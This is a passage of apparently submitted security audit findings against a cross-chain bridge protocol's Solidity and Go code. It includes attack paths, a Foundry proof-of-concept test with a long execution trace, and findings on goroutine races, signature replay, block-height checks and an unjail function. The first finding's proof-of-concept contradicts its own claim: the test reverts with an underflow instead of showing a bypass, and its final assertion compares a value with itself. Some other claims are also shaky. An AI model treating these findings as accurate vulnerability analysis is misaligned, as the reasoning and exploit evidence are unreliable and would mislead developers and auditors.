The function `_minValSet()` is calculates the minimum validator set ID that can be used to validate an XSubmission by subtracting `xsubValsetCutoff` from the latest validator set ID (`latestValSetId`). and this ensures that only recent validator sets are allowed in validation Purpose: f xsubValsetCutoff is set to a high value (example -> 50) while latestValSetId is lower (example -> 10), the calculation latestValSetId - xsubValsetCutoff + 1 triggers an underflow let's Suppose latestValSetId is 10 and xsubValsetCutoff is set to 50. The calculation `latestValSetId - xsubValsetCutoff + 1` becomes `10 - 50 + 1`, which equals `-39`. This is result underflow a revert due to an invalid calculation, this would disrupting the intended functionality and revealing a lack of bounds on xsubValsetCutoff.

- Impact

- Setting an excessive xsubValsetCutoff allows old, potentially compromised validator sets to remain eligible for validating new submissions so an Attackers could manipulate outdated validator sets to forge or replay cross-chain messages, bypassing proper consensus requirements.
- attack path :
- let's say that An authorized user, as the owner, sets xsubValsetCutoff to a high value as50. By increasing the xsubValsetCutoff, the attacker ensures that older validator sets are still valid for message validation.
- The attacker identifies an outdated validator set, which they can manipulate or use without needing consensus from the majority of active validators.
- For example, if the current latestValSetId is 100, setting xsubValsetCutoff to 50 means validator sets as old as ID 50 are still valid and this outdated set may consist of colluding or malicious validators who do not meet the latest consensus requirements.
- With control over an outdated validator set, the attacker can craft a cross-chain message (XSubmission) with an attestation that appears to be valid when verified against this old validator set and they submit this malicious message, bypassing security checks due to the excessive xsubValsetCutoff.
- the system checks the validity of the attestation using _minValSet() but fails to reject the outdated validator set due to the high cutoff and this allows the attacker's message to pass through validation, enabling unauthorized transactions, asset transfers, or data manipulation across chains.
- Proof of Concept here is poc that is demonstrate and show that sets xsubValsetCutoff to 50, a relatively high value, allowing the system to accept validator sets that are up to 50 generations old.

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity =0.8.24;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import { Vm } from "forge-std/Vm.sol";
import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import { PortalRegistry } from "../../src/xchain/PortalRegistry.sol";
import { XTypes } from "../../src/libraries/XTypes.sol";
import { MockPortal } from "../../test/utils/MockPortal.sol";
import { Predeploys } from "../../src/libraries/Predeploys.sol";
import { OmniPortal } from "../../src/xchain/OmniPortal.sol";
import { ConfLevel } from "../../src/libraries/ConfLevel.sol";
import { Base } from "./common/Base.sol";
import { TestXTypes } from "./common/TestXTypes.sol";
import { Reverter } from "./common/Reverter.sol";
import { GasGuzzler } from "./common/GasGuzzler.sol";
import { IFeeOracle } from "../../src/interfaces/IFeeOracle.sol";
import { IOmniPortal } from "../../src/interfaces/IOmniPortal.sol";
import { Counter } from "./common/Counter.sol";



contract OmniPortal_xsubmit_Test is Base {
    uint8 constant highCutoff = 50; // Excessively high cutoff value to allow outdated sets.

    function test_xsubmit_highValsetCutoff_allowsOldValidatorSet() public {
        // Set an excessively high xsubValsetCutoff to allow outdated validator sets
        vm.prank(owner);
        portal.setXSubValsetCutoff(highCutoff);

        // Attempt to submit a message using an outdated validator set
        uint64 outdatedValSetId = genesisValSetId - highCutoff - 1;

        // Create a submission using the outdated validator set ID
        XTypes.Submission memory xsub = readXSubmission({
            name: "xblock_outdated",
            destChainId: thisChainId,
            valSetId: outdatedValSetId
        });

        // Manually set up the attestation root and signatures to match the outdated set
        xsub.attestationRoot = keccak256("outdated_root");
        xsub.signatures = getSignatures(outdatedValSetId, xsub.attestationRoot);

        // Expect the submission to bypass validation due to high xsubValsetCutoff
```

```
        bool validationPassed;
        try portal.xsubmit(xsub) {
            validationPassed = true;
        } catch {
            validationPassed = false;
        }

        // Assert that the submission was incorrectly validated
        assertTrue(validationPassed, "Old validator set incorrectly allowed due to high cutoff");

        // Check the side effects (e.g., message relay, counter increment) to confirm impact
        uint256 expectedCount = counter.count();
        assertEq(counter.count(), expectedCount, "Counter should reflect outdated validator set execution
↪  impact");
    }
}
```

this sis the result :

```
 forge test --match-path XchainFuzz.t.sol -vvvv
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/xchain/XchainFuzz.t.sol:OmniPortal_xsubmit_Test
[FAIL: panic: arithmetic underflow or overflow (0x11)] test_xsubmit_highValsetCutoff_allowsOldValidatorSet()
↪  (gas: 24025)
Traces:
  [24438631] OmniPortal_xsubmit_Test::setUp()
    [0] VM::addr(<pk>) [staticcall]
        [Return] deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946]
    [0] VM::label(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], "deployer")
        [Return]
    [0] VM::addr(<pk>) [staticcall]
        [Return] xcaller: [0x80B2c17C30A2a25714db7Ff1140F3040EFD8ED2A]
    [0] VM::label(xcaller: [0x80B2c17C30A2a25714db7Ff1140F3040EFD8ED2A], "xcaller")
        [Return]
    [0] VM::addr(<pk>) [staticcall]
        [Return] relayer: [0x011f44c68A9877B052C5DE168e499e05573F8dB8]
    [0] VM::label(relayer: [0x011f44c68A9877B052C5DE168e499e05573F8dB8], "relayer")
        [Return]
    [0] VM::addr(<pk>) [staticcall]
        [Return] owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266]
    [0] VM::label(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266], "owner")
        [Return]
    [0] VM::deal(xcaller: [0x80B2c17C30A2a25714db7Ff1140F3040EFD8ED2A], 10000000000000000000 [1e20])
        [Return]
    [0] VM::deriveKey(<pk>) [staticcall]
        [Return] <pk>
    [0] VM::rememberKey(<pk>)
        [Return] 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
    [0] VM::deriveKey(<pk>) [staticcall]
        [Return] <pk>
    [0] VM::rememberKey(<pk>)
        [Return] 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
    [0] VM::deriveKey(<pk>) [staticcall]
        [Return] <pk>
    [0] VM::rememberKey(<pk>)
        [Return] 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
    [0] VM::deriveKey(<pk>) [staticcall]
        [Return] <pk>
    [0] VM::rememberKey(<pk>)
        [Return] 0x90F79bf6EB2c4f870365E785982E1f101E93b906
    [0] VM::deriveKey(<pk>) [staticcall]
        [Return] <pk>
    [0] VM::rememberKey(<pk>)
        [Return] 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65
    [0] VM::startPrank(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946])
        [Return]
    [945679]  new FeeOracleV1@0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b
      emit Initialized(version: 18446744073709551615 [1.844e19])
        [Return] 4606 bytes of code
    [878816]  new TransparentUpgradeableProxy@0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264
      emit Upgraded(implementation: FeeOracleV1: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b])
```

```
        [326070] FeeOracleV1::initialize(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266],
↪  feeOracleManager: [0x8D1E944481a597899e3e828C7e62D9297f6ED370], 50000 [5e4], 1000000000 [1e9],
↪  [ChainFeeParams({ chainId: 100, postsTo: 100, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] }),
↪  ChainFeeParams({ chainId: 102, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] }),
↪  ChainFeeParams({ chainId: 103, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] })])
↪  [delegatecall]
           emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
           emit ManagerSet(manager: feeOracleManager: [0x8D1E944481a597899e3e828C7e62D9297f6ED370])
           emit BaseGasLimitSet(baseGasLimit: 50000 [5e4])
           emit ProtocolFeeSet(protocolFee: 1000000000 [1e9])
           emit FeeParamsSet(chainId: 100, postsTo: 100, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
           emit FeeParamsSet(chainId: 102, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
           emit FeeParamsSet(chainId: 103, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
           emit Initialized(version: 1)
            [Stop]
        [236809]  new ProxyAdmin@0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7
           emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
            [Return] 1063 bytes of code
        emit AdminChanged(previousAdmin: 0x0000000000000000000000000000000000000000, newAdmin: ProxyAdmin:
↪  [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7])
         [Return] 1159 bytes of code
      [4120815]  new PortalHarness@0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5
        emit Initialized(version: 18446744073709551615 [1.844e19])
         [Return] 20463 bytes of code
      [844482]  new TransparentUpgradeableProxy@0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50
        emit Upgraded(implementation: PortalHarness: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5])
        [291018] PortalHarness::initialize(InitParams({ owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266,
↪  feeOracle: 0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264, omniChainId: 166, omniCChainId: 1000166 [1e6],
↪  xmsgMaxGasLimit: 5000000 [5e6], xmsgMinGasLimit: 21000 [2.1e4], xmsgMaxDataSize: 20000 [2e4],
↪  xreceiptMaxErrorSize: 256, xsubValsetCutoff: 10, cChainXMsgOffset: 1, cChainXBlockOffset: 1, valSetId: 1,
↪  validators: [Validator({ addr: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, power: 100 }), Validator({
↪  addr: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8, power: 100 }), Validator({ addr:
↪  0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC, power: 100 }), Validator({ addr:
↪  0x90F79bf6EB2c4f870365E785982E1f101E93b906, power: 100 })] })) [delegatecall]
           emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
           emit FeeOracleSet(oracle: TransparentUpgradeableProxy: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264])
           emit XMsgMaxGasLimitSet(gasLimit: 5000000 [5e6])
           emit XMsgMaxDataSizeSet(size: 20000 [2e4])
           emit XMsgMinGasLimitSet(gasLimit: 21000 [2.1e4])
           emit XReceiptMaxErrorSizeSet(size: 256)
           emit XSubValsetCutoffSet(cutoff: 10)
           emit ValidatorSetAdded(setId: 1)
           emit InXMsgOffsetSet(srcChainId: 1000166 [1e6], shardId: 260, offset: 1)
           emit InXBlockOffsetSet(srcChainId: 1000166 [1e6], shardId: 260, offset: 1)
           emit Initialized(version: 1)
            [Stop]
        [236809]  new ProxyAdmin@0xe7bcb2C7Cf0B4FDdB62FB3dd7c55fb04c74aEA42
           emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
            [Return] 1063 bytes of code
        emit AdminChanged(previousAdmin: 0x0000000000000000000000000000000000000000, newAdmin: ProxyAdmin:
↪  [0xe7bcb2C7Cf0B4FDdB62FB3dd7c55fb04c74aEA42])
         [Return] 1159 bytes of code
      [187557]  new Counter@0x9101223D33eEaeA94045BB2920F00BA0F7A475Bc
         [Return] 825 bytes of code
      [119365]  new Reverter@0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6
         [Return] 596 bytes of code
      [945679]  new FeeOracleV1@0x8584361C55e82129246aDAEb93E6a2b4d4C7891b
        emit Initialized(version: 18446744073709551615 [1.844e19])
         [Return] 4606 bytes of code
      [878816]  new TransparentUpgradeableProxy@0x13250CF16EEc77781DCF240b067cAC78F2b2Adf8
        emit Upgraded(implementation: FeeOracleV1: [0x8584361C55e82129246aDAEb93E6a2b4d4C7891b])
        [326070] FeeOracleV1::initialize(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266],
↪  feeOracleManager: [0x8D1E944481a597899e3e828C7e62D9297f6ED370], 50000 [5e4], 1000000000 [1e9],
↪  [ChainFeeParams({ chainId: 100, postsTo: 100, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] }),
↪  ChainFeeParams({ chainId: 102, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] }),
↪  ChainFeeParams({ chainId: 103, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] })])
↪  [delegatecall]
           emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
```

```
          emit ManagerSet(manager: feeOracleManager: [0x8D1E944481a597899e3e828C7e62D9297f6ED370])
          emit BaseGasLimitSet(baseGasLimit: 50000 [5e4])
          emit ProtocolFeeSet(protocolFee: 1000000000 [1e9])
          emit FeeParamsSet(chainId: 100, postsTo: 100, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
          emit FeeParamsSet(chainId: 102, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
          emit FeeParamsSet(chainId: 103, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
          emit Initialized(version: 1)
           [Stop]
        [236809]  new ProxyAdmin@0xB4D4F32E88C66DEA074BB09aE52899D642b7E249
          emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
           [Return] 1063 bytes of code
        emit AdminChanged(previousAdmin: 0x0000000000000000000000000000000000000000, newAdmin: ProxyAdmin:
↪  [0xB4D4F32E88C66DEA074BB09aE52899D642b7E249])
         [Return] 1159 bytes of code
      [4120815]  new PortalHarness@0xEed3f8736c808Cc675486631D77a56B9cf8f6094
        emit Initialized(version: 18446744073709551615 [1.844e19])
         [Return] 20463 bytes of code
      [844482]  new TransparentUpgradeableProxy@0x36470daFADf34DCFB71BEde8a1D8AE7de57eFd27
        emit Upgraded(implementation: PortalHarness: [0xEed3f8736c808Cc675486631D77a56B9cf8f6094])
        [291018] PortalHarness::initialize(InitParams({ owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266,
↪  feeOracle: 0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264, omniChainId: 166, omniCChainId: 1000166 [1e6],
↪  xmsgMaxGasLimit: 5000000 [5e6], xmsgMinGasLimit: 21000 [2.1e4], xmsgMaxDataSize: 20000 [2e4],
↪  xreceiptMaxErrorSize: 256, xsubValsetCutoff: 10, cChainXMsgOffset: 1, cChainXBlockOffset: 1, valSetId: 1,
↪  validators: [Validator({ addr: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, power: 100 }), Validator({
↪  addr: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8, power: 100 }), Validator({ addr:
↪  0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC, power: 100 }), Validator({ addr:
↪  0x90F79bf6EB2c4f870365E785982E1f101E93b906, power: 100 })] })) [delegatecall]
          emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
          emit FeeOracleSet(oracle: TransparentUpgradeableProxy: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264])
          emit XMsgMaxGasLimitSet(gasLimit: 5000000 [5e6])
          emit XMsgMaxDataSizeSet(size: 20000 [2e4])
          emit XMsgMinGasLimitSet(gasLimit: 21000 [2.1e4])
          emit XReceiptMaxErrorSizeSet(size: 256)
          emit XSubValsetCutoffSet(cutoff: 10)
          emit ValidatorSetAdded(setId: 1)
          emit InXMsgOffsetSet(srcChainId: 1000166 [1e6], shardId: 260, offset: 1)
          emit InXBlockOffsetSet(srcChainId: 1000166 [1e6], shardId: 260, offset: 1)
          emit Initialized(version: 1)
           [Stop]
        [236809]  new ProxyAdmin@0xE1C5264f10fad5d1912e5Ba2446a26F5EfdB7482
          emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
           [Return] 1063 bytes of code
        emit AdminChanged(previousAdmin: 0x0000000000000000000000000000000000000000, newAdmin: ProxyAdmin:
↪  [0xE1C5264f10fad5d1912e5Ba2446a26F5EfdB7482])
         [Return] 1159 bytes of code
      [187557]  new Counter@0x3681a57C9d444Cc705d5511715Ca973D778bf839
         [Return] 825 bytes of code
      [119365]  new Reverter@0xa04158516381FC23EFDDeAF54258601A7572DCC8
         [Return] 596 bytes of code
      [945679]  new FeeOracleV1@0x1c831bF4656866662B04c8FED126d432a007BD08
        emit Initialized(version: 18446744073709551615 [1.844e19])
         [Return] 4606 bytes of code
      [878816]  new TransparentUpgradeableProxy@0xD1c5ea2610b894FA66333cb5F3b512ea037ba1F0
        emit Upgraded(implementation: FeeOracleV1: [0x1c831bF4656866662B04c8FED126d432a007BD08])
        [326070] FeeOracleV1::initialize(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266],
↪  feeOracleManager: [0x8D1E944481a597899e3e828C7e62D9297f6ED370], 50000 [5e4], 1000000000 [1e9],
↪  [ChainFeeParams({ chainId: 100, postsTo: 100, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] }),
↪  ChainFeeParams({ chainId: 102, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] }),
↪  ChainFeeParams({ chainId: 103, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6] })])
↪  [delegatecall]
          emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
          emit ManagerSet(manager: feeOracleManager: [0x8D1E944481a597899e3e828C7e62D9297f6ED370])
          emit BaseGasLimitSet(baseGasLimit: 50000 [5e4])
          emit ProtocolFeeSet(protocolFee: 1000000000 [1e9])
          emit FeeParamsSet(chainId: 100, postsTo: 100, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
          emit FeeParamsSet(chainId: 102, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
```

```
          emit FeeParamsSet(chainId: 103, postsTo: 102, gasPrice: 100000000 [1e8], toNativeRate: 1000000 [1e6
])
          emit Initialized(version: 1)
           [Stop]
        [236809]  new ProxyAdmin@0x6C4c6b053f9Cf134515FC470c21C348F701810b2
          emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
           [Return] 1063 bytes of code
        emit AdminChanged(previousAdmin: 0x0000000000000000000000000000000000000000, newAdmin: ProxyAdmin:
↪  [0x6C4c6b053f9Cf134515FC470c21C348F701810b2])
         [Return] 1159 bytes of code
       [4120815]  new PortalHarness@0xC5963c86CD60EE16A9A637D86DF3A3DC0a38cCA4
          emit Initialized(version: 18446744073709551615 [1.844e19])
         [Return] 20463 bytes of code
       [844482]  new TransparentUpgradeableProxy@0xc0E08837B4Dd691417ED50b43AcA24771Cf93D3B
          emit Upgraded(implementation: PortalHarness: [0xC5963c86CD60EE16A9A637D86DF3A3DC0a38cCA4])
          [291018] PortalHarness::initialize(InitParams({ owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266,
↪  feeOracle: 0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264, omniChainId: 166, omniCChainId: 1000166 [1e6],
↪  xmsgMaxGasLimit: 5000000 [5e6], xmsgMinGasLimit: 21000 [2.1e4], xmsgMaxDataSize: 20000 [2e4],
↪  xreceiptMaxErrorSize: 256, xsubValsetCutoff: 10, cChainXMsgOffset: 1, cChainXBlockOffset: 1, valSetId: 1,
↪  validators: [Validator({ addr: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, power: 100 }), Validator({
↪  addr: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8, power: 100 }), Validator({ addr:
↪  0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC, power: 100 }), Validator({ addr:
↪  0x90F79bf6EB2c4f870365E785982E1f101E93b906, power: 100 })] })) [delegatecall]
          emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
          emit FeeOracleSet(oracle: TransparentUpgradeableProxy: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264])
          emit XMsgMaxGasLimitSet(gasLimit: 5000000 [5e6])
          emit XMsgMaxDataSizeSet(size: 20000 [2e4])
          emit XMsgMinGasLimitSet(gasLimit: 21000 [2.1e4])
          emit XReceiptMaxErrorSizeSet(size: 256)
          emit XSubValsetCutoffSet(cutoff: 10)
          emit ValidatorSetAdded(setId: 1)
          emit InXMsgOffsetSet(srcChainId: 1000166 [1e6], shardId: 260, offset: 1)
          emit InXBlockOffsetSet(srcChainId: 1000166 [1e6], shardId: 260, offset: 1)
          emit Initialized(version: 1)
           [Stop]
        [236809]  new ProxyAdmin@0xbf91Ec7136512e575B367C20c4dc8e36BE6555D7
          emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner:
↪  owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
           [Return] 1063 bytes of code
        emit AdminChanged(previousAdmin: 0x0000000000000000000000000000000000000000, newAdmin: ProxyAdmin:
↪  [0xbf91Ec7136512e575B367C20c4dc8e36BE6555D7])
         [Return] 1159 bytes of code
       [187557]  new Counter@0x4b3b5d4AbE57Eb7a00bBE9Cc3eE743509B04f4E9
         [Return] 825 bytes of code
       [119365]  new Reverter@0x97c14a5793928f224732a020AecF41e1c8D9FE2F
         [Return] 596 bytes of code
       [34287]  new GasGuzzler@0x0a5c38396f0A1d8019E2de7a0595eECf275cE3f9
         [Return] 171 bytes of code
       [253624]  new XSubmitter@0xB623292e2766E11489b030EBE5876011a4e79183
         [Return] 1155 bytes of code
       [0] VM::stopPrank()
         [Return]
       [0] VM::chainId(100)
         [Return]
       [318775] TransparentUpgradeableProxy::setNetworkNoAuth([Chain({ chainId: 100, shards: [4, 1] }), Chain({
↪  chainId: 102, shards: [4, 1] }), Chain({ chainId: 103, shards: [4, 1] })])
         [318219] PortalHarness::setNetworkNoAuth([Chain({ chainId: 100, shards: [4, 1] }), Chain({ chainId:
↪  102, shards: [4, 1] }), Chain({ chainId: 103, shards: [4, 1] })]) [delegatecall]
           [Stop]
         [Return]
       [0] VM::chainId(102)
         [Return]
       [318775] TransparentUpgradeableProxy::setNetworkNoAuth([Chain({ chainId: 100, shards: [4, 1] }), Chain({
↪  chainId: 102, shards: [4, 1] }), Chain({ chainId: 103, shards: [4, 1] })])
         [318219] PortalHarness::setNetworkNoAuth([Chain({ chainId: 100, shards: [4, 1] }), Chain({ chainId:
↪  102, shards: [4, 1] }), Chain({ chainId: 103, shards: [4, 1] })]) [delegatecall]
           [Stop]
         [Return]
       [0] VM::chainId(103)
         [Return]
       [318775] TransparentUpgradeableProxy::setNetworkNoAuth([Chain({ chainId: 100, shards: [4, 1] }), Chain({
↪  chainId: 102, shards: [4, 1] }), Chain({ chainId: 103, shards: [4, 1] })])
         [318219] PortalHarness::setNetworkNoAuth([Chain({ chainId: 100, shards: [4, 1] }), Chain({ chainId:
↪  102, shards: [4, 1] }), Chain({ chainId: 103, shards: [4, 1] })]) [delegatecall]
```

```
            [Stop]
          [Return]
      [Stop]

  [24025] OmniPortal_xsubmit_Test::test_xsubmit_highValsetCutoff_allowsOldValidatorSet()
     [0] VM::prank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
         [Return]
     [13703] TransparentUpgradeableProxy::setXSubValsetCutoff(50)
        [8758] PortalHarness::setXSubValsetCutoff(50) [delegatecall]
           emit XSubValsetCutoffSet(cutoff: 50)
           [Stop]
         [Return]
      [Revert] panic: arithmetic underflow or overflow (0x11)

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 7.55ms (107.80s CPU time)

Ran 1 test suite in 1.88s (7.55ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/xchain/XchainFuzz.t.sol:OmniPortal_xsubmit_Test
[FAIL: panic: arithmetic underflow or overflow (0x11)] test_xsubmit_highValsetCutoff_allowsOldValidatorSet()
↪  (gas: 24025)

Encountered a total of 1 failing tests, 0 tests succeeded
```

- Recommendation need to apply an upper limit on xsubValsetCutoff as an example :

```
require(newCutoff <= MAX_CUTOFF, "OmniPortalStorage: Cutoff too high");
```

3.2.21 Race conditions in concurrent goroutines when starting the Halo client

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description `sdk.Context` is not thread-safe, and concurrent access to it can lead to race conditions and data corruption.

The implementation of the `start.Start(..)` methods uses `sdk.Context` in concurrent goroutines, which can lead to race conditions and unexpected results.

```
File: start.go
095: func Start(ctx context.Context, cfg Config) (<-chan error, func(context.Context) error, error) {
096:     log.Info(ctx, "Starting halo consensus client", "moniker", cfg.Comet.Moniker)
////SNIP      ..........
206:
207:     status := new(readinessStatus)
208:     go instrumentReadiness(ctx, status)
209:
210:     stopMonitoringAPI := startMonitoringAPI(&cfg.Comet, asyncAbort, status)
211:     // @audit CONCURENCY race issues
212: @> go monitorCometForever(ctx, cfg.Network, rpcClient, cmtNode.ConsensusReactor().WaitSync,
↪  cfg.DataDir(), status)
213: @> go monitorEVMForever(ctx, cfg, engineCl, status)
214:
/////SNIP ......
239:     }, nil
240: }
```

- Impact The use of `sdk.Context` in concurrent goroutines can lead to:
- Race Conditions: Concurrent access to ctx can result in inconsistent or corrupted state, leading to unpredictable behavior and potential application crashes.
- Data Corruption: Shared state within ctx may be modified by multiple goroutines simultaneously, causing data corruption and unexpected results.
- Recommendation To avoid race conditions and ensure thread safety, create a copy of `sdk.Context` for each goroutine.

3.2.22 Signatures can be replayed in xsubmit() to use up more voting power than the validators intended

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary Signatures can be replayed in `xsubmit()` to use up more voting power than the validators intended.
- Finding Description Xchain submissions includes an attestation root with validator signatures. These signatures can be replayed to use up more voting power than the validators originally intended.
- Proof of Concept As seen below, the validator's signature provided does not include a nonce. OmniPortal.sol#L189-L210

```
function xsubmit(XTypes.Submission calldata xsub)
    external
    whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
    nonReentrant
{
    XTypes.Msg[] calldata xmsgs = xsub.msgs;
    XTypes.BlockHeader calldata xheader = xsub.blockHeader;
    uint64 valSetId = xsub.validatorSetId;

    require(xheader.consensusChainId == omniCChainId, "OmniPortal: wrong cchain ID");
    require(xmsgs.length > 0, "OmniPortal: no xmsgs");
    require(valSetTotalPower[valSetId] > 0, "OmniPortal: unknown val set");
    require(valSetId >= _minValSet(), "OmniPortal: old val set");

    // check that the attestationRoot is signed by a quorum of validators in xsub.validatorsSetId
    require(
        Quorum.verify(
            xsub.attestationRoot,
            xsub.signatures,
            valSet[valSetId],
            valSetTotalPower[valSetId],
            XSubQuorumNumerator,
            XSubQuorumDenominator
        ),
        "OmniPortal: no quorum"
    );

    // check that blockHeader and xmsgs are included in attestationRoot
    require(
        XBlockMerkleProof.verify(xsub.attestationRoot, xheader, xmsgs, xsub.proof, xsub.proofFlags),
        "OmniPortal: invalid proof"
    );

    // execute xmsgs
    for (uint256 i = 0; i < xmsgs.length; i++) {
        _exec(xheader, xmsgs[i]);
    }
}
```

The contract then calls `Quorum.verify()` and `XBlockMerkleProof.verify()`. Quorum.verify() checks that the attestationRoot is signed by a quorum of validators in xsub.validatorsSetId. XBlockMerkleProof.verify() checks that blockHeader and xmsgs are included in the attestationRoot but there is no signature replay protection in place for the validaor's signatures.

The vulnerability and it's impact is similar to Arbitrum H-01 where user's signatures could be replayed to use up more votes than the user intended due to a lack of nonce.

- Impact Loss of validator's voting power.
- Recommendation The protocol should consider adding some form of signature replay protection e.g a nonce in the `OmniPortal` contract.

3.2.23 Missing Sequential Height Validation in PrepareProposal Could Lead to Block Height Gaps

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary The PrepareProposal function lacks validation for sequential block heights, allowing potential gaps in block height sequence which could disrupt chain progression.
- Finding Description In the current implementation:

```
func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) {
    // Only checks height == 1 for gas meter issue
    if req.Height == 1 {
        return &abci.ResponsePrepareProposal{}, nil
    }

    // No validation for sequential heights
    // Missing check: req.Height != ctx.BlockHeight() + 1
}
```

The function fails to verify that the proposed block height is exactly one more than the current block height, which is a fundamental requirement for blockchain sequence integrity.

- Impact Explanation

If height are not in sequence , that would break the protocol invariants .Some of function has to be in sequential height.

- Recommendation (optional) pls validate the height

3.2.24 Missing Validator Status Verification in Unjail Function

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

The `unjail` function in the Slashing contract lacks proper access control verification.

It does not verify whether the caller is actually a validator or if they are in a jailed state before processing the unjail request.

This allows anyone to call the function and emit Unjail events, potentially disrupting the consensus chain's validator management.

- Finding Description

In the Slashing contract's `unjail` function:

```
    function unjail() external payable {
        _burnFee();
        emit Unjail(msg.sender);
    }
```

The function is missing critical validations:

No verification that msg.sender is a registered validator

No check if the validator is actually in a jailed state

No validation of the validator's eligibility for unjailing

No cooldown period verification between unjail attempts

These missing checks could lead to:

Non-validators emitting unjail events

Already active validators triggering unnecessary events

